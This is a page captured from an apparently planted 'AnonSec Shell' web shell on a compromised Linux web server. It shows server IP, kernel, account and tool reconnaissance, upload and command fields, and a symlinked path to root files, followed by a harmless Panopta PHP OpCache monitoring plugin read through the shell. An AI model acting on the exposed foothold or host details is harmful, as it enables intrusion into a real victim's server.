AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 18.222.115.217
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/panopta-agent/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/panopta-agent/plugins/opcache.py
import agent_util
import logging
from agent_util import float

try:
    # Python 2.x
    from urllib2 import urlopen
except ImportError:
    from urllib.request import urlopen

logger = logging.getLogger(__name__)


class OpCachePlugin(agent_util.Plugin):
    textkey = "opcache"
    label = "PHP OpCache"

    @classmethod
    def update_metrics(self, config):
        # Make initial call to opcache.py using url set in config
        metric = {}
        r = urlopen(config['opcache_url'])
        reply = r.read()
        reply = reply.strip().strip(';').split(';')
        for item in reply:
            if 'time' in item: continue
            # So we can strip out the duplicate entries from the metadata like the duplicate free/used_memory stats
            # did this because the first metric it returns is the actual correct one, the second is the default
            elif item.split(':')[0] in  metric.keys(): continue
            elif 'Array' in item: continue
            else:
                metric_name = item.split(':')[0]
                metric_value = item.split(':')[-1]
                metric[metric_name] = float(metric_value)
        return metric

    @classmethod
    def get_metadata(self, config):
        status = agent_util.MISCONFIGURED
        msg = 'Missing/incorrect data in [opcache] block!'

        if "opcache_url" in config:
            url = config['opcache_url']
            status = agent_util.SUPPORTED
            msg = None
        else:
            return {}

        metadata = {}
        metrics = self.update_metrics(config)

        options = []

        for textkey in metrics:
            if textkey == 'Array': continue
            metadata[textkey] = {
                    "label": textkey.replace('_',' ').title(),
                    "options": options,
                    "status": status,
                    "error_message": msg
                }
        return metadata

    def check(self, textkey, data, config):
        tmp = self.update_metrics(config)
        if textkey in tmp:
            # Adjusting for MB since it outputs in bytes
            if 'memory' in textkey or 'buffer' in textkey:
                return float(tmp[str(textkey)])/1048576
            else:
                return tmp[str(textkey)]
        else:
            return None




Anon7 - 2022
AnonSec Team